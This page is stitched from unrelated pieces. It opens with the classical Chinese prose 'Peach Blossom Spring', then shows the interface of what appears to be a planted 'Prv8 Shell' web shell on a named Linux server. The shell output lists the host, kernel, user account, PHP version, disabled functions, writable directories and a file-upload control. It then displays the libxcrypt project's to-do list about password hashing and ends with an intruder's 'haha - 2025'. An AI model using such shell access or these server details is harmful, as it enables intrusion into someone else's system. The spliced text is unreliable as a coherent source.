晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/libxcrypt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/libxcrypt/TODO
to-do list for libxcrypt
------------------------

* Near future:
  * Update all of the default cost parameters
    * relevant benchmarking at
      <https://pthree.org/2016/06/28/lets-talk-password-hashing/>
    * the default used by `crypt_gensalt_*` for new hashes should be
      controllable independently from the default used if there is no
      rounds= annotation in a setting string
  * Make the crypt and crypt_gensalt static state thread-specific?
    * if allocated on first use, this would also shave 32kB of
      data segment off the shared library
  * Factor out all of the repetitive base64 code
    * get rid of the de/serialization code in crypt-bcrypt.c that
      still does dodgy things with type punning
  * Attempt to determine the copyright holders and intended licensing
    of the test suite
  * Moar tests
  * Make sure the symbol versioning macros work with all of the compilers
    that anyone needs (they use GCC extensions that clang also supports).

* Longer term:
  * Hash algorithms newer than bcrypt tend to want to allocate and
    scribble all over a large (tens of megabytes at a minimum) block
    of memory, to make brute force hard in a way that GPUs and ASICs
    can't easily accelerate.  The existing API cannot handle this for
    three reasons:
    * `crypt_gensalt` only takes a single cost parameter, some
      algorithms have several
    * With everything except `crypt_ra`, all of the memory is
      allocated by the caller and there's no way for algorithms to say
      how much they need
    * There is no destructor function, even with `crypt_ra` - callers
      just pass the block to `free`

    So we need to invent a new API that allows for more variety in
    cost parameters and allocations.  It could also make the "all the
    sensitive data, including stack scratch, is in crypt_data which we
    auto-erase" feature more robust by adding guard bands and calling
    mlock().

  * Additional hashes to investigate adding:
    * scrypt <https://www.tarsnap.com/scrypt.html>
    * Argon2 <https://password-hashing.net/>
    * ...?

  * Support for "pepper" (an additional piece of information, _not_
    stored in the password file, that you need to check a password)

  * Reading passphrases from the terminal is finicky and there are
    several competing, poorly portable, questionably sound library
    functions to do it (`getpass`, `readpassphrase`, etc) -- should we
    incorporate one?
    * If we do, should it know how to trigger the trusted-path
      password prompt in modern GUI environments? (probably)

haha - 2025